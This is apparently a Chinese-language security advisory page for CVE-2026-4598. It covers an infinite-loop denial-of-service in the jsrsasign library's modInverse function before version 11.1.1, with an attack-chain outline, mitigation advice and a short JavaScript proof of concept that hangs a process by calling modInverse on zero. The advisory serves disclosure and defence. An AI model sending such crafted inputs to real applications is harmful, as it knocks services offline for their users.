IPBUF安全漏洞报告
English
CVE-2026-4598 CVSS 7.5 高危

CVE-2026-4598 jsrsasign无限循环漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-4598
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jsrsasign

相关标签

拒绝服务jsrsasign无限循环DoSCVE-2026-4598

漏洞概述

jsrsasign库在11.1.1之前的版本中存在安全漏洞。该漏洞位于ext/jsbn2.js文件的bnModInverse函数中。当BigInteger.modInverse实现接收到零或负数输入时,由于逻辑处理缺陷,会导致函数进入无限循环。攻击者无需用户交互或认证,即可通过网络向受影响应用提供精心构造的数值(如modInverse(0, m)),从而使进程永久挂起,引发拒绝服务攻击。

技术细节

该漏洞的核心原因在于jsrsasign库中ext/jsbn2.js文件内BigInteger类的modInverse方法缺乏对边界条件的有效校验。在数学运算中,模逆运算通常要求模数为正整数且输入非零。然而,该实现在接收到0或负数输入时,未能正确返回错误或处理异常,而是陷入了无限循环。由于JavaScript运行时环境的单线程特性,这种死循环会阻塞主线程,导致应用程序无法响应后续请求,CPU资源被耗尽,从而实现拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用使用了存在漏洞的jsrsasign库(版本低于11.1.1)。
STEP 2
构造载荷
攻击者构造特殊的输入参数,即0或负数值,用于调用BigInteger.modInverse函数。
STEP 3
发起攻击
攻击者通过网络向目标应用发送包含恶意参数的请求,触发bnModInverse函数。
STEP 4
达成影响
目标进程进入无限循环,应用无响应,CPU占用率飙升,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-4598: jsrsasign Infinite Loop // Requires vulnerable version of jsrsasign (< 11.1.1) const jsrsasign = require('jsrsasign'); try { // Create a BigInteger object representing 0 var zero = new jsrsasign.BigInteger('0'); // Create a modulus (e.g., 100) var modulus = new jsrsasign.BigInteger('100'); // Trigger the infinite loop by calling modInverse with 0 // This will cause the process to hang indefinitely console.log('Attempting modInverse(0, 100)...'); var result = zero.modInverse(modulus); console.log('Result:', result); // This line will never be reached } catch (e) { console.log('Error:', e); }

影响范围

jsrsasign < 11.1.1

防御指南

临时缓解措施
如果无法立即升级版本,建议在代码层面对传入modInverse函数的参数进行校验,确保输入值不为零且为正数,以防止触发无限循环。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表